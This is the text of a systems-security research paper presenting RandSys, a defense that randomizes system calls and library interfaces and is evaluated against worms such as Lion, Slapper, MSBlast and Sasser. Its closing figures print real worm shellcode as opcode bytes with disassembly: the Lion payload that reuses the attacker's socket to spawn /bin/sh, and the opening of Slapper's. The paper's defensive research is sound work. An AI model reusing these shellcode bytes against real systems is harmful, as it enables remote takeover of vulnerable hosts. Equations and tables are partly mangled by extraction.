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Abstract

Code injection attacks are a top threat to today’s Internet. With zero-day attacks on the rise, randomization
techniques have been introduced to diversify software and operation systems of networked hosts so that attacks
that succeed on one process or one host cannot succeed on others. Two most notable system-wide random-
ization techniques are Instruction Set Randomization (ISR) and Address Space Layout Randomization (ASLR).
The former randomizes instruction set for each process, while the latter randomizes the memory address space
layout. Both suffer from a number of attacks. In this paper, we advocate and demonstrate that by combining
ISR and ASLR effectively, we can offer much more robust protection than each of them individually. However,
trivial combination of both schemes is not sufficient. To this end, we make the key observation that system call
instructions matter the most to attackers for code injection. Our system, RandSys, uses system call instruction
randomization and the general technique of ASLR along with a number of new enhancements to thwart code
injection attacks. We have built a prototype for both Linux and Windows platforms. Our experiments show that
RandSys can effectively thwart a wide variety of code injection attacks with a small overhead.
Keywords: Internet Security, Code Injection Attack, System Randomization

1 Introduction

A prevalent form of attacks on the Internet, commonly known as code injection attacks, is to exploit a software

vulnerability on a host and cause malicious execution of either injected attack code or pre-existing code (such as libc

functions). Such attacks can exploit many vulnerability types, such as input validation errors, exception condition

errors, and race conditions. Code injection attacks pose serious threat to the Internet: fast- and wide-spreading

worms such as CodeRed [3], Blaster [7], and Sasser [8] all depend on the successful execution of injected code to

complete their infections and replications. In this paper, we focus on remote machine-code injection attacks, but not

on other injection attacks, such as SQL injection and Cross-Site Scripting attacks. For the purpose of exposition, we

use the conventional term “shellcode” to refer to the injected code1.

While patches can protect known vulnerabilities, zero day exploits are on the rise [10] and demand a more

proactive approach. Forrest et al [26] advocated building diversity into software and operating systems of networked
1Nevertheless, the purpose of the shellcode does not necessarily restrict to spawning a command shell. We give a detailed explanation on

shellcode for both Linux and Windows platforms in Appendix A.
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hosts in the first place. There are two main system-wide randomization techniques proposed since: Instruction

Set Randomization (ISR) [28, 38, 14, 15] and Address Space Layout Randomization (ASLR) [2, 43, 16, 17]. ISR

creates a randomized instruction set for each process so that instructions in shellcode fail to execute correctly even

though attackers have already hijacked the control flow of the vulnerable process. ASLR, instead, randomizes the

memory address layout of a running process (including library, heap, stack, and relative distances between data and

code2) [2, 43, 16, 17] so that it is hard for attackers to locate injected shellcode or existing program code, preventing

attackers from hijacking the control flow.

Both randomization schemes suffer from a number of attacks. ISR is vulnerable to attacks that avoid using in-

jected machine instructions. For example, ISR suffers from return-into-libc attacks [28, 14, 15] in which attackers

call pre-existing library functions (e.g., system()) without the need of injecting malicious instructions. Meanwhile,

ASLR suffers from attacks that avoid using specific memory addresses. Although ASLR makes control-flow hijack-

ing more difficult, shellcode locations might still be easy to guess. For example, a new form of attack which we call

“code spraying” attacks, could exploit a buggy application behavior and “spray” a shellcode repetitively through-

out large write-able user-level memory areas (say 256MB) — this leaves only 4 bit entropy in the current 32 bit

architecture for attackers to guess the location of a shellcode replica. Furthermore, control data can be overwritten

without knowing their precise location. For example, attackers can overflow a memory area that likely contains a

code pointer, with repetitive guessed addresses [16]; we call such attack behavior “address spraying”.

In this paper, we advocate and demonstrate that by combining ISR and ASLR effectively, we can offer much

more robust protection than each of them individually. Although a trivial combination of ISR and ASLR can address

the aforementioned attacks, such a system cannot be practically deployed. The reason is that ISR incurs prohibitive

performance overhead because of its per-instruction de-randomization and lack of hardware support [28, 14, 15].

Here, we make the key observation that system call instructions are almost always used by shellcode to carry out

its malicious actions. Therefore, we can simply randomize the system call instructions which matter the most to

attackers and significantly reduce the ISR overhead. Our system, called RandSys, uses system call instruction ran-

domization and the general technique of ASLR to thwart code injection attacks. We refer to system call instructions

and their associate library APIs as system service interface. RandSys performs randomization at the process load

time by instrumenting the process with a thin transparent virtualization layer that randomizes system service inter-

face; while at run-time, it de-randomizes the instrumented interface for correct execution.

However, by randomizing only selective instructions, attackers have more power if they can overcome the ASLR

part of the scheme and hijack the control flow. To this end, we strengthen the state-of-the-art ASLR schemes with

a number of new techniques. We perform function name randomization so that function import and export tables
2For exposition, we categorize address obfuscation [16] as an ASLR scheme.
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are essentially encrypted and attackers are unable to handcraft assembly code to access these tables. Furthermore,

we employ “decoys” in the function export table pointing to access-protected “guard pages”, so that RandSys can

undermine “function fingerprinting” attacks that walk through function export tables and look for a known function

fingerprint. We also carefully manage randomization in function import and export tables so that attackers cannot

correlate two tables in finding a function.

RandSys raises the bar for code injection attacks significantly. To launch a successful attack, attackers would

need to mount kernel code injection attacks or non-control-data attacks [20]. RandSys does not defeat kernel code

injection attacks because it targets user-level attacks by randomizing system service interface between user programs

and the kernel. In non-control-data attacks, security-critical application data (such as configurations, user input, or

decision-making data) rather than control data (such as return addresses or function pointers) are corrupted by

memory error exploits. In such attacks, since code injection may not happen in the first place, RandSys would not be

effective. In addition, RandSys may cause disruptions to programs with self-modifying code, where a system service

invocation instruction may be dynamically created. Another limitation of RandSys is that it makes debugging and

diagnostic tasks more difficult, a common problem in randomization-based techniques.

We have built a prototype of RandSys in both Linux and Windows platforms. Our experiments show that

RandSys can defeat a wide variety of code injection attacks while incurring low performance penalty. RandSys

is independent of vulnerability-specific details, and hence can defeat zero-day attacks. Our RandSys prototype has

successfully thwarted attacks on the Windows JView Profiler vulnerability (MS05-037/July, 2005) and the Microsoft

Visual Studio .NET “msdds.dll” vulnerability (August 17, 2005) before their patches became available. RandSys

readily supports all the applications in our experiments, including the Apache/IIS web server, various FTP daemons,

Internet Explorer and Firefox web browsers.

In the rest of the paper, we first present the RandSys design in Section 2. We then give a detailed security analysis

of RandSys in Section 3. We describe the RandSys implementation in Section 4 and demonstrate its effectiveness

against a number of real-world attacks in Section 5. We compare RandSys with related work in Section 6. Finally,

we conclude in Section 7. In Appendix A, we give a detailed background description of shellcode.

2 RandSys Design

In this section, we first briefly describe shellcode on both Linux and Windows platforms. We then present

our design of load-time randomization and run-time de-randomization schemes in RandSys. Finally, we present a

method for dynamic code injection detection as our next line of defense.
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2.1 Shellcode

The Linux OS maintains a consistent and backward-compatible mapping between system call numbers and their

functionalities. Linux also provides user-level programs a consistent calling convention for making system calls.

Most of Linux-based shellcodes directly interact with the Linux kernel using the calling convention and system call

numbers. Unlike Linux, the Windows OS does not maintain a consistent system call number mapping. Instead, it

offers user-level applications a consistent and backward-compatible library APIs. Consequently, most of Windows-

based shellcodes interact with the OS using these library APIs. Despite such common practices, it is still possible for

a Linux shellcode to indirectly invoke system functions via libc APIs; similarly, a Windows shellcode may directly

issue an undocumented system call to mount a less portable but more specific attack on a chosen platform.

2.2 Load-Time Randomization

System Call Load-Time Randomization When a process is created, RandSys takes over the control (e.g., intercept-

ing the sys execve system call in the kernel) before program execution. RandSys searches for system call invocations,

such as “int $0x80” in Linux and “int $0x2e” or “sysenter” in Windows. For each identified system call i at memory

location Li, the original system call number So
i

is overwritten with a new, randomized system call number Sn
i

using

the following equation:

Sn

i = RK(So

i , Li).

RK is our load-time system-call randomization algorithm using key K. RK takes two parameters: the original

system call number So
i
, and the location of the call Li. Note that even the same system call at different locations

will yield different call numbers. We maintain the key K in the kernel space. And we used DES encryption in our

prototype. A more aggressive scheme can further randomize the system-call calling convention, such as permuting

the roles among EAX, EBX, ECX, and EDX registers or padding system call parameters.

In Windows, dynamically linked libraries may be loaded into a process at run-time. In RandSys, we instrument

and randomize system calls in these libraries by intercepting library-loading APIs (e.g., “LoadLibraryA”). Note that

an attacker may attempt to misuse this support. We defer the related security analysis to Section 3.

Library API Load-Time Randomization RandSys enables two types of library API randomization: library re-

mapping and function randomization.

Library re-mapping is an existing ASLR technique, which renders exploits (e.g., regular return-into-libc at-

tacks) that depend on predetermined memory addresses useless. Library re-mapping randomizes library base ad-

dresses and re-organizes internal functions. Randomizing the library base addresses makes it hard to predict the
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absolute address of a library. Re-organizing internal functions makes the relative address-based attacks unlikely to

succeed. The re-mapping modifies the import and export function tables used by dynamic linking. For example,

re-organizing exported functions alters the .dynamic/.dynstr section3 in Linux or the Export Address Table (EAT)4

in Windows, while re-organizing imported functions modifies the PLT/GOT5 component in Linux and the Import

Address Table (IAT) in Windows. Library re-mapping does not need to be de-randomized at run-time since function

import and export tables already contain randomized function locations.

Function randomization is one of our new enhancements to strengthen existing ASLR schemes. It provides

function name randomization and API calling convention shuffling. Function name randomization makes function

name-lookup unique to each process, while API calling convention shuffling randomizes the run-time API interface

by shuffling existing parameters and padding new ones. Function randomization is needed because we want to

prevent attackers from handcrafting machine code to access function import and export tables and to look for the

randomized location of desired function names.

Name randomization replaces a function name with another randomized name string. We note that a naive name

randomization scheme that generates an identical function name for both the import library and the export library

would suffer from the correlation attack. An attacker can correlate the imported function names from one library

(e.g., through IAT in Windows) with the exported function names in another (e.g., through EAT), and infers the

function. To counter this attack, name randomization applies different randomization algorithms based on whether

the function is imported or exported: (1) If a function is exported to other library modules, the corresponding

function name F o

E
is randomized to another name string F n

E
= RE(F o

E
), where RE is the randomization algorithm

applied to the exported function names. (2) If a function is imported by module Mi, the imported function name F o

I

is randomized to another name F n

I
= RI(F

o

I
, Mi), where RI is the randomization algorithm with two parameters:

the imported function names and the run-time base address of the importing library module Mi. Note that although

different modules may import the same function, RI generates different randomized names. (3) Finally, the name

inconsistency caused by these two different randomization functions can be resolved at run-time by a dedicated

process-specific name resolution routine, such as a customized dl runtime resolve() in Linux or GetProcAddress()

in Windows.

Function fingerprinting is a commonly used attack technique. One variant of such technique scans the function

export tables and searches for a known function fingerprint that is in the form of either an instruction sequence or
3.dynamic/.dynstr section contains the dynamic linking information used in Linux.
4Note that the EAT is a term commonly referred to in the Windows Portable Executable (PE) file format. Essentially, each EAT table entry

contains all necessary information, including the name and actual location of the corresponding function exported by this library. Interested
readers are referred to [35] for more details.

5PLT represents “Procedure Linkage Table” while GOT means “Global Offset Table”. Both data structures are used in Linux systems for
dynamic function name resolution. More information can be found in [18].
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the function’s hash value. To combat this type of attack, we add “decoy” entries to the function import and export

tables; each decoy entry points to a guard page, which is a page with the access protection such as PROT NONE in

Linux or PAGE NOACCESS in Windows. Any attempt to read, write, or execute on a guard page will result in an

access violation exception.

2.3 Run-Time De-randomization

System Call De-randomization The execution of the system call instruction (e.g., “int $0x80” in Linux or “int

$0x2e” or “sysenter” in Windows) generates a software trap to kernel mode and invokes the system call dispatcher.

The system call dispatcher dispatches the system service routine according to the register that contains the system

call number (e.g., EAX)6. In RandSys, we customize the system call dispatcher to perform de-randomization. The

dispatcher first inspects the stack or its context environment to derive the actual memory location Li at which a

system call i with randomized system call number Sn
i

is made. Then, RandSys recovers the original system call

number So
i

= R−1

K
(Sn

i
, Li) where R−1

K
is the run-time de-randomization algorithm of its load-time counterpart RK .

Function Name Resolution As described in Section 2.2, function name randomization purposely causes name in-

consistency between functions in export table and the same functions imported by other modules in their respective

import tables. To resolve this inconsistency, we use a run-time name resolution function RR which maps a random-

ized imported function name to its corresponding randomized exported function name with the import module base

address Mi as a parameter:

RR(RI(plaintext function name, Mi), Mi) = RE(plaintext function name).

2.4 Dynamic Injection Detection

One attack against RandSys is to identify and jump to existing application code (including libc functions) that

invokes system service interface. To this end, we develop a dynamic injection detection scheme to enable defensive

execution of the existing program code, including the detection and termination of a shellcode execution. Since a

shellcode is dynamically injected into a running process, the code page containing the shellcode needs to be writable

for the injection. However, at the same time, the shellcode is not a part of the original program code. Hence, there

are two inherent characteristics associated with the code page containing the shellcode: (1) it is writable; and (2) it is

not mapped from the executable file. Note that these two characteristics will not be exhibited in any normal program

that does not contain any self-modifying code. Based on this observation, we use the following heuristics to detect

shellcode’s existence on a page when an existing system call or library function is invoked:
6If the system call convention is shuffl ed, the registers need to be de-shuffl ed first.
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DYNAMICINJECTIONDETECTION(EBP )
1 depth← 0
2 while ISSTACKFRAMEVALID(EBP )and (depth ≤ BACKTRACE DEPTH)
3 do return addr ← GETRETURNADDR(EBP )
4 code page← GETPAGEFROMADDR(return addr)
5
6 if ISPAGEWRITABLE(code page)or not DOESPAGECOMEFROMFILE(code page)
7 then return INJECTION DETECTED
8
9 EBP ← GETNEXTFRAME(EBP ); depth← depth + 1

10 return UNDETECTED

Essentially, the detection algorithm is a recursive stack-based inspection algorithm, which traverses the stack

frame to assess whether the code page containing the return address matches these two characteristics. Dynamic

injection detection can be performed for any library API (within its prologue or epilogue). In addition, the system

call dispatcher, which performs run-time system call de-randomization, can also be extended to perform this task.

3 Security Analysis

Attacks Using Direct System Service Invocation An attacker may directly use system calls in shellcode. The

system call randomization of RandSys easily defeats such straightforward attacks. Furthermore, RandSys is resilient

to replay attacks where attackers re-use randomized system calls. This is because our randomization algorithm takes

the memory location of a system call as a parameter — two system calls with the same system call number will be

de-randomized into two different system call numbers since they are at different locations.

Attackers may attempt to acquire the randomization key directly. This attempt is also defeated by RandSys.

The reason is that the randomization key is stored in the kernel space; and user-level programs are unable to get the

randomization key. However, RandSys is not effective against kernel-level code injection attacks which could be

used to tamper the key or carry out other malicious actions.

Attackers could also try to construct plaintext-ciphertext pairs to bruteforce the key. RandSys makes this very

difficult. Firstly, a strong encryption algorithm and a long key makes it almost impossible to crack the key. Secondly,

because our randomization algorithm is location-dependent, attackers are forced to scan code memory to collect the

precise locations as well as the semantics of the instructions. Our decoy and guard page mechanisms (Section 2.2)

can detect and undermine such scanning activity. Lastly, our dynamic injection detection technique in Section 2.4

serves as another line of defense.

Attacks Using Indirect System Service Invocation Instead of invoking system service interface directly, an attacker

may try to reuse existing system service invocations in the vulnerable program. To this end, an attacker must first

accurately locate the memory location of the desired system call or associated library API invocation instructions,
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and then branch to that location to eventually invoke the intended system service. RandSys makes such attacks hard

to succeed in a number of ways:

Firstly, the use of ASLR makes the memory location of both shellcode and pre-existing code (e.g., libc functions)

hard to predict, and hence effectively defeats return-into-libc attacks and making control flow hijacking difficult. An

advanced form of the return-into-libc attack, called return-into-dl attack was introduced by Nergal to compromise

PaX [2] – a representative ASLR implementation [33]. In this attack, attackers do not directly invoke a libc function.

Instead, it “returns” to the dynamic linker’s functions (e.g., dl runtime resolve()) to look up the randomized location

of the desired function by its name. RandSys can defeat this attack in two ways: (1) The dl runtime resolve func-

tion (or GetProcAddress in Windows) is randomized by library-remapping; (2) Even if the attacker can handcraft

dl runtime resolve function (or GetProcAddress in Windows) to directly access function import or export tables

for randomized function locations (e.g., MSBlast’s shellcode as shown in Figure 3(a)), our function randomization

mechanism (Section 2.2) effectively undermines such attempts.

Secondly, even if attackers can successfully hijack the control flow of a process, since RandSys randomizes

system calls and their associated library APIs, the only way for attackers to invoke system services is to find the

memory locations of the desired system service-invocation instructions in the pre-existing program code. Such

memory-scanning activity can be efficiently undermined by our trap mechanisms such as decoys and guard pages.

Although it is possible for attack code to peek through the stack, find the location of a particular function, and

then calculate the offset of the intended system service call within the function, such approach requires an in-depth

understanding of run-time program stacks (and possibly program semantics).

Lastly, even if the memory location of desired system service invocation in the pre-existing program code is

identified, the attack code still faces the challenge of regaining control after unidirectionally reaching that location.

The reason is that a remote attack often needs to chain together a sequence of system service calls to achieve its

goal7. For example, the attack code from the Slapper worm shown in Figure 2(b) makes a sequence of system calls

(e.g., sys getpeername, sys dup2, sys setresuid, and sys execve) for its infection. The Sasser worm shown in Figure

3(b) invokes a sequence of library APIs (e.g., “LoadLibraryA”, “WSASocketA”, “bind”, “listen”, and “accept” etc)

for its replication.

Nergal et al [33] introduced two main techniques, “esp-lifting” and “frame-faking”, for chaining system service

invocations. These techniques manipulate the stack, such as lifting the ESP register or forging a stack frame, to

regain the control after one libc call is invoked. However, both approaches have their own limitations: as acknowl-
7There exists the possibility for a single-shot attack that invokes a single system service and invokes it only once. Please note that (1) This

constrained attack still bears the burden to understand program semantics and defeat the enhanced ASLR in RandSys; and (2) The victim
process is likely to crash right after the attack (which could lead to its detection) because the stack frame or control flow is corrupted by the
attack.
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edged in [33], “esp-lifting” is only applicable for those binaries compiled with a certain optimization switch, i.e.,

-fomit-frame-pointer; and “frame-faking” must be aware of the precise locations of those fake frames — this can

be effectively defeated by RandSys. Furthermore, both techniques can be mitigated by RandSys’ dynamic injection

detection since the detection algorithm in Section 2.4 can be simply extended to detect the existence of those “esp

lifting” or “frame faking” instructions.

Recently, Kruegel et al [30] introduced a static binary analysis approach to identify and modify possible code

pointers (e.g., in PLT/GOT table) that, if overwritten, can be used to regain the control flow. Note that this ap-

proach assumes predetermined memory locations of those code pointers. Existing ASLR schemes such as library

re-mapping (Section 2.2), TRR [43], and Address Obfuscation [16] can effectively mitigate this type of attack, as

the run-time PLT/GOT table or code pointers in general can also be randomized or obfuscated.

Now, we examine another threat: as RandSys supports run-time library loading (Section 2.2), attackers might

attempt to abuse this support to make an illegitimate library loading. More specifically, after circumventing ASLR

and hijacking the control flow, an attacker may intentionally invoke LoadLibraryA to load a library with intended

functions. Since this library call needs to make several system calls (e.g., reading files from the disk) and RandSys

thwarts illegitimate direct system calls and captures illegitimate direct invocation of the pre-existing LoadLibraryA

code, attackers must rely on pre-existing program code to indirectly invoke the LoadLibraryA call and then come

up with a way to re-capture control after loading the library. Based on our earlier discussion, RandSys make such

attempts hard to succeed.

4 Implementation

In this section, we describe the RandSys proof-of-concept implementation in both Linux and Windows platforms.

Due to space constraint, system call randomization will be mainly described in the context of Linux platforms while

library API randomization will be presented by focusing on Windows platforms.

4.1 Execution Control Interception

Load-time control interception In Linux-based systems, RandSys intercepts the sys execve system call and

then applies load time randomization (Section 2.2). For Windows, the implementation is different: A DLL library

is first injected to existing running processes and the DLL library will hook a number of critical library APIs,

including CreateProcess(). Once a new process is created, the hooked CreateProcess() will create the new process

in a suspended state and then perform the necessary load time randomization before resuming process execution.
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Run-time control interception Run-time control interception mainly involves the system call de-randomization

and library API name resolution. RandSys has a kernel module which patches the system call dispatcher so that it

can transparently convert a randomized system call number to its original number. To achieve transparent library API

name resolution, RandSys hooks a number of related function calls such as dlsym() in Linux and GetProcAddress()

in Windows. To support run-time library loading, additional functions such as dlopen() in Linux and LoadLibraryA()

in Windows also need to be refined.

Exception interception The introduction of decoy entries and guard pages (Section 2.2) provides an opportunity

to detect and identify illegitimate read or execute accesses. RandSys hooks the exception handler, i.e., SIGSEGV

in Linux and the Structured Exception Handler (SEH) [11] in Windows. More specifically, our Windows prototype

hooks the KiUserExceptionDispatcher API, which is exported by ntdll.dll, to intercept the exception raised by the

process. Once an exception is intercepted, RandSys checks whether it is caused by reference to a decoy entry. If not,

the exception will be passed to the normal SEH chain. Otherwise, it is considered as an illegitimate access and the

current prototype will attempt to terminate the mis-behaving process.

We would like to point out that exception interception can be leveraged to thwart brute-force attacks. Exist-

ing works [40, 37] have demonstrated that the brute-force attack is able to defeat both ISR [28, 14] and ASLR

[2] schemes. However, the detection of brute-force attacks is relatively easy because they will result in frequent

crashes in the victim processes. Since our RandSys prototype directly intercepts possible exceptions before they are

dispatched, it is by design robust against brute-force attacks.

4.2 System Calls Randomization and De-randomization

        ...
ENTRY(system_call)
        pushl %eax                      # save orig_eax
        SAVE_ALL
        GET_CURRENT(%ebx)
        testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
        jne tracesys

        movl %esp,%eax

        cmpl $(NR_syscalls),%eax
        jae badsys
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
        ...

#ifdef  CONFIG_RANSYS

#endif
        call SYMBOL_NAME(randsys_derand)

Application

Randomized System Call

RandSys Userland

Userland

RandSys Kernel

ENTRY(system_call)

Kernel

Figure 1: System Call Randomization and De-randomization in RandSys (Linux Version)

After gaining the execution control at load-time, RandSys will first attempt to locate those instructions making

system calls. It can disassemble all process code segments and find the system call instructions, i.e., “int $0x80” in

Linux or “int $0x2e/sysenter” in Windows. However, this may incur considerable load-time latency. An alternative

is to perform an offline analysis to identify the system call locations (Section 5.1). For each system call occurrence,

10



the original system call number will be randomized (Section 2.2) as another system call number, which can later

be interpreted by the RandSys kernel. Once the new system call number is calculated, the instruction assigning the

original system call number to the EAX register will be instrumented to reflect the new system call number. Figure

1 shows how the original Linux system call dispatcher, i.e., ENTRY(system call)), is modified to support RandSys.

Note that the RandSys kernel SYMBOL NAME(randsys derand) needs to inspect the stack to locate the exact calling

location, which is needed to recover the original system call number. Table 1 shows a number of library modules

and the number of system calls within each library module.

Red Hat Linux 8.0 Windows XP Professional (SP2)
libc-2.2.93.so ld-2.2.93.so ntdll.dll user32.dll gdi32.dll imm32.dll winsrv.dll

# System Calls 235 39 284 266 366 18 21

Table 1: Sample Library Modules and Number of System Calls in Each Module

4.3 Library API Randomization and De-randomization

Library re-mapping Right after a new process is created but before its instructions are executed, RandSys will

take over its execution, inspect the loaded modules, and attempt to re-map or re-base these modules to other random

locations. As mentioned in Section 2.2, library re-mapping requires certain modifications to IAT/EAT table entries

affected. The purpose of re-mapping libraries is to make their absolute and relative addresses less predictable. In

addition, special decoy entries are intentionally planted to trap possible illegitimate references.

Function randomization RandSys intercepts two important function calls, i.e., LoadLibraryA() and GetPro-

cAddress(). The first function is extensively used by Windows systems to enable run-time library loading and needs

to be intercepted to perform delayed load-time randomization. The second function is also extensively used by

Windows systems to resolve a function based on its string name. Since the function names will be randomized dif-

ferently based on their resident modules, the interception of GetProcAddress() is necessary to resolve possible name

inconsistency. Note that both Windows and Linux have a well-defined interface to resolve functions at run-time,

which makes this randomization procedure straightforward.

5 Evaluation

In this section, we first present RandSys latency measurement results in Section 5.1. We then present a number of

experiments with more than 60 real code injection attacks, including those attacks from well-known self-propagating

worms (Section 5.2). As RandSys does not require any prior knowledge about vulnerabilities and their exploitation

means, RandSys is effective against zero-day exploits. This capability is demonstrated by results from two zero-day
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“in-the-wild” exploits, which did not have any software patch when we conducted our experiments (Section 5.3).

5.1 RandSys Latency

By performing load-time randomization and run-time de-randomization, RandSys introduces both load-time

and run-time latency to the protected process. To measure the latency, we set up two physical hosts (with alias

RANSYS LINUX and RANSYS WIN, respectively). RANSYS LINUX is a Dell desktop PC running Red Hat

Linux 8.0 with 596.913MHz Intel Pentium III (Katmai) processor and 384MB RAM while RANSYS WIN is another

Dell desktop PC running Windows XP Professional (SP2) with 2.2GHZ Intel Xeon processor and 512MB RAM.

We use several popular applications for RandSys latency measurement. The results are shown in Table 2.

Red Hat Linux 8.0 Windows XP Professional (SP2)
Apache Web Server vsftpd FTP Server Internet Explorer 6.0 IIS Server 6.0

(httpd-2.0.40-8) (vsftpd-1.1.0-1)
Load-Time Latency 11.1 (seconds) 3.9 (seconds) > 1 (minute) > 1 (minute)
(Online Disassembly)
Load-Time Latency 0.3 seconds 0.3 seconds 0.5 seconds) 0.5 seconds
(Offline Analysis)
Run-Time Latency 1500 cycles/syscall 1500 cycles/syscall 1650 cycles/syscall 1650 cycles/syscall

Table 2: Load-time and Run-time Latency of RandSys

Table 2 indicates that RandSys with online disassembly incurs much longer load-time latency than RandSys

using offline analysis. It may appear that the load time due to online disassembly is unacceptable to frequently used

applications. However, we note that the disassembly only needs to be performed once when a new application is first

introduced. The disassembly result can be reused in future runs without incurring the disassembly latency again.

Table 2 also shows that system call de-randomization only introduces a small performance degradation, which is

largely caused by the de-randomization algorithm. The DES algorithm usually takes only 1, 200 CPU cycles (2

microseconds) to perform decryption.

5.2 Thwarting Existing Code-Injection Attacks

We have experimented with over 60 existing code-injection attacks. RandSys is able to thwart all these attacks.

Table 3 shows a selected subset of those attacks, including the recent Zotob worm [12]. Especially, the last column

of Table 3 highlights the thwarting techniques from RandSys that defeat the corresponding attacks. In the following,

we choose four representative attacks by the Lion worm [4], Slapper worm [34], MSBlast worm [7], and Sasser

worm [8] to elaborate how RandSys successfully corrupts their infections.

Effectiveness of system call randomization Figure 2(a) and Figure 2(b) show the shellcodes injected by the
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Attack Reference Description Platform Thwarting RandSys Techniques
CodeRed MS01-033 Unchecked Buffer in the Windows Enhanced ASLR

CAN-2001-0500 Index Server ISAPI Extension (EAT Randomization)
Slammer MS02-039 Buffer Overrun in the SQL Windows Enhanced ASLR

CAN-2002-0649 Server 2000 Resolution Service (IAT Randomization)
MSBlast MS03-026 Buffer Overrun in Windows Enhanced ASLR

CAN-2003-0352 the RPC DCOM service (EAT Randomization)
Sasser MS04-011 Buffer Overrun in Windows Enhanced ASLR

CAN-2003-0533 the LSASS service (EAT Randomization)
Witty CAN-2004-0362 ICQ Parsing Vul. in the ISS Protocol Windows Enhanced ASLR

Analysis Module (PAM) component (EAT Randomization)
Zotob MS05-039 Buffer Overrun in the Plug and Windows Enhanced ASLR

CAN-2005-1983 Play service (August 14, 2005) (EAT Randomization)
Ramen CVE-2000-0917 LPRng Format String Bug Linux System Call

CVE-2000-0573 WU-FTPD Format String Bug Randomization
CVE-2000-0666 RPC.STATD Format String Bug

Lion CAN-2001-0010 BIND 8 Buffer Overrun Linux Sys. Call Rand.
Slapper CAN-2002-0656 OpenSSL 0.9.6d Buffer Overrun Linux Sys. Call Rand.

Malicious MS05-002 Vulnerability in the Cursor Windows Enhanced ASLR
Web Site CAN-2004-1305 and Icon Format Handling in IE (EAT Randomization)
Malicious MS05-014 Heap Memory Corruption in Windows Enhanced ASLR
Web Site CAN-2005-0055 IE DHTML method (Decoys + Guard Pages)
Malicious MS05-020 Race Condition in IE DHTML Windows Enhanced ASLR
Web Site CAN-2005-0053 Object Memory Management (EAT Randomization)
Malicious MS05-025 PNG Image Rendering Windows Enhanced ASLR
Web Site CAN-2005-1211 Memory Corruption in IE (Decoys + Guard Pages)
Zero-Day MS05-037 IE JView Profiler Vulnerability Windows Enhanced ASLR
Exploit CAN-2005-2087 (July 6, 2005) (EAT Randomization)

Zero-Day MS05-052 Visual Studio .NET “msdds.dll” Remote Windows Enhanced ASLR
Exploit CAN-2005-2127 Code Execution Exploit (August 17, 2005) (EAT Randomization)

Table 3: A Representative Subset of Code Injection Attacks Thwarted by RandSys

Lion worm and the Slapper worm, respectively. It is interesting to observe that the two different shellcodes have

very similar functionality: when the shellcode in either Lion or Slapper worms is executed, it first searches for the

socket of the TCP connection with the attacking machine and reuses this connection for further infection such as

spawning a shell. More specifically, the shellcode cycles through all the file descriptors and issues a sys getpeername

system call on each file descriptor until the call succeeds and indicates that the peer TCP port is from the attacking

machine. The system call randomization of RandSys effectively breaks the consistent static system call mapping in

Linux (Appendix A) and thus successfully corrupts the worm infection. More specifically, each worm infection is

corrupted when the first system call, sys getpeername, is attempted, as highlighted in Figure 2.

Effectiveness of enhanced ASLR randomization The first two worm examples show the effectiveness of

system call randomization. We next demonstrate the effectiveness of our enhanced ASLR techniques. Figure 3(a)

and Figure 3(b) show the shellcodes injected by the MSBlast worm and the Sasser worm, respectively. Neither
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eb 3b             /* jmp     <shellcode+0x3d>       */ ; <shellcode + 0x0>
31 db             /* xorl    %ebx,%ebx              */ ; <shellcode + 0x2>
5f                /* popl    %edi                   */
83 ef 7c          /* sub     $0x7c,%edi             */
8d 77 10          /* leal    0x10(%edi),%esi        */
89 77 04          /* movl    %esi,0x4(%edi)         */
8d 4f 20          /* leal    0x20(%edi),%ecx        */
89 4f 08          /* movl    %ecx,0x8(%edi)         */
b3 10             /* movb    $0x10,%bl              */
89 19             /* movl    %ebx,(%ecx)            */
31 c9             /* xorl    %ecx,%ecx              */
b1 ff             /* movb    $0xff,%cl              */
89 0f             /* movl    %ecx,(%edi)            */ ; <shellcode + 0x1c>
51                /* pushl   %ecx                   */
31 c0             /* xorl    %eax,%eax              */
b0 66             /* movb    $0x66,%al              */
b3 07             /* movb    $0x7,%bl               */
89 f9             /* movl    %edi,%ecx              */
cd 80             /* int     $0x80                  */ ; sys_getpeername()
59                /* popl    %ecx                   */
31 db             /* xorl    %ebx,%ebx              */
39 d8             /* cmpl    %ebx,%eax              */
75 0a             /* jne     <shellcode+0x3a>       */
66 bb 12 34       /* movw    $0x3412,%bx            */
66 39 5e 02       /* cmpw    %bx,0x2(%esi)          */
74 08             /* je      <shellcode+0x42>       */
e2 e0             /* loop    <shellcode+0x1c>       */ ; <shellcode + 0x3a>
3f                /* aas                            */
e8 c0 ff ff ff    /* call    <shellcode+0x2>        */ ; <shellcode + 0x3d>
89 cb             /* movl    %ecx,%ebx              */ ; <shellcode + 0x42>
31 c9             /* xorl    %ecx,%ecx              */
b1 03             /* movb    $0x03,%cl              */
31 c0             /* xorl    %eax,%eax              */ ; <shellcode + 0x48>
b0 3f             /* movb    $0x3f,%al              */
49                /* decl    %ecx                   */
cd 80             /* int     $0x80                  */
41                /* incl    %ecx                   */
e2 f6             /* loop    <shellcode+0x48>       */
eb 14             /* jmp     <shellcode+0x68>       */
31 c0             /* xorl    %eax,%eax              */ ; <shellcode + 0x54>
5b                /* popl    %ebx                   */
8d 4b 14"         /* leal    0x14(%ebx),%ecx        */
89 19             /* movl    %ebx,(%ecx)            */
89 43 18"         /* movl    %eax,0x18(%ebx)        */
88 43 07"         /* movb    %al,0x7(%ebx)          */
31 d2"            /* xorl    %edx,%edx              */
b0 0b"            /* movb    $0xb,%al               */
cd 80"            /* int     $0x80                  */
e8 e7 ff ff ff    /* call    <shellcode+0x54>       */ ; <shellcode + 0x68>
2f 62 69 6e 3f 73 68                                   ; "/bin/sh"
90 90 90 90 90 90 90 90

RandSys blocks the
Lion worm here

Opcode Bytes Instructions

(a) The Injected Shellcode from Linux Lion Worms

31 db             /* xor    %ebx,%ebx               */; <shellcode + 0x0>
89 e7             /* mov    %esp,%edi               */
8d 77 10          /* lea    0x10(%edi),%esi         */
89 77 04          /* mov    %esi,0x4(%edi)          */
8d 4f 20          /* lea    0x20(%edi),%ecx         */
89 4f 08          /* mov    %ecx,0x8(%edi)          */
b3 10             /* mov    $0x10,%bl               */
89 19             /* mov    %ebx,(%ecx)             */
31 c9             /* xor    %ecx,%ecx               */
b1 ff             /* mov    $0xff,%cl               */
89 0f             /* mov    %ecx,(%edi)             */ ; <shellcode + 0x18>
51                /* push   %ecx                    */
31 c0             /* xor    %eax,%eax               */
b0 66             /* mov    $0x66,%al               */
b3 07             /* mov    $0x7,%bl                */
